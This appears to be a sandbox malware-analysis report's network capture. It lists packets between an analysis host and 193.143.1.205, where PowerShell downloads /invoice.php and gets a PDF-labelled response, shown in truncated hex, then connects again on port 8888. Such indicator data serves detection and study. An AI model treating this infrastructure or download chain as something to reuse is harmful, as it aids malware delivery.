Jan 11, 2025 03:53:57.396064043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.396069050 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.396076918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.396086931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.396092892 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.396099091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.396110058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.396116972 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.396121025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.396132946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.396141052 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.396163940 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.396915913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.396929979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.396940947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.396951914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.396979094 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.397002935 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.398660898 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.425295115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.425328970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.425342083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.425353050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.425364017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.425375938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.425427914 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.425451994 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.425693035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.425705910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.425718069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.425728083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.425739050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.425750971 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.425781965 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.425942898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.425955057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.425966978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.425975084 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.425976992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.425987959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.426001072 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.426027060 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.426528931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.426541090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.426552057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.426562071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.426573038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.426584005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.426589012 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.426594973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.426604986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.426609993 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.426615953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.426616907 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.426641941 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.427413940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.427445889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.427462101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.427464008 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.427476883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.427495003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.427495003 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.427536011 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.427894115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.427910089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.427925110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.427944899 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.427947044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.427963018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.427977085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.427982092 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.427993059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.428008080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.428010941 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.428023100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.428041935 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.428852081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.428868055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.428883076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.428889990 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.428899050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.428911924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.428925037 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.428925991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.428941011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.428946972 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.428956032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.428968906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.428972960 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.428982973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.429001093 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.429843903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.429858923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.429873943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.429888964 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.429889917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.429908037 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.429908037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.429914951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.429929018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.429933071 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.429944038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.429951906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.429982901 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.430818081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.430834055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.430849075 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.430891037 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.430964947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.430980921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.430995941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.431001902 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.431031942 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.431339979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.431355953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.431370974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.431399107 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.481549025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.481590033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.481606007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.481692076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.481705904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.481720924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.481740952 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.481740952 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.481785059 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.481842041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.481856108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.481870890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.481884003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.481899023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.481899977 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.481914997 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.482497931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.482511997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.482526064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.482538939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.482539892 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.482553959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.482558012 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.482567072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.482582092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.482584000 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.482605934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.482620001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.482624054 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.482635021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.482652903 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.483159065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.483172894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.483186960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.483194113 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.483201027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.483215094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.483221054 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.483228922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.483242989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.483256102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.483269930 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.483269930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.483288050 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.483326912 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.484106064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.484121084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.484133959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.484148026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.484157085 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.484162092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.484175920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.484180927 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.484189987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.484204054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.484208107 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.484217882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.484235048 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.484920979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.484935999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.484949112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.484957933 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.484966040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.484978914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.484982014 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.484993935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.485007048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.485009909 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.485038042 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.513621092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.513699055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.513720989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.513737917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.513751984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.513775110 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.513775110 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.513936043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.513952017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.513966084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.513976097 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.514003038 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.514153957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.514166117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.514179945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.514195919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.514205933 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.514230967 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.514496088 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.514509916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.514524937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.514539957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.514553070 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.514554977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.514574051 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.515064001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.515079021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.515093088 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.515106916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.515108109 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.515124083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.515124083 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.515136957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.515151978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.515166044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.515170097 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.515180111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.515196085 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.515218019 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.515948057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.515964031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.515976906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.515991926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.515999079 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.516004086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.516016960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.516017914 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.516031981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.516047001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.516055107 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.516062021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.516074896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.516081095 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.516110897 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.516877890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.516913891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.516928911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.516943932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.516957998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.516963005 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.516972065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.516977072 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.516984940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.516998053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.517002106 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.517013073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.517025948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.517030001 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.517040968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.517059088 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.517720938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.517735958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.517750978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.517765999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.517765999 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.517780066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.517781973 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.517796040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.517810106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.517812967 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.517823935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.517838955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.517847061 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.517887115 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.518536091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.518551111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.518564939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.518579006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.518649101 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.521908998 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.569960117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.620467901 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.670423985 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.674021959 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.981831074 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:58.450805902 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:58.456032038 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:58.456129074 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:58.456286907 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:58.461074114 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:59.293585062 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:59.339230061 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:59.395596027 CET	49705	8888	192.168.2.5	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 03:54:06.438076019 CET	52010	53	192.168.2.5	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 03:54:06.438076019 CET	192.168.2.5	1.1.1.1	0x43bd	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 03:54:06.445236921 CET	1.1.1.1	192.168.2.5	0x43bd	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 03:54:07.137641907 CET	1.1.1.1	192.168.2.5	0x2bf1	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 03:54:07.137641907 CET	1.1.1.1	192.168.2.5	0x2bf1	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	193.143.1.205	80	1628	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 03:53:55.991055965 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 03:53:56.765276909 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 02:53:56 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< 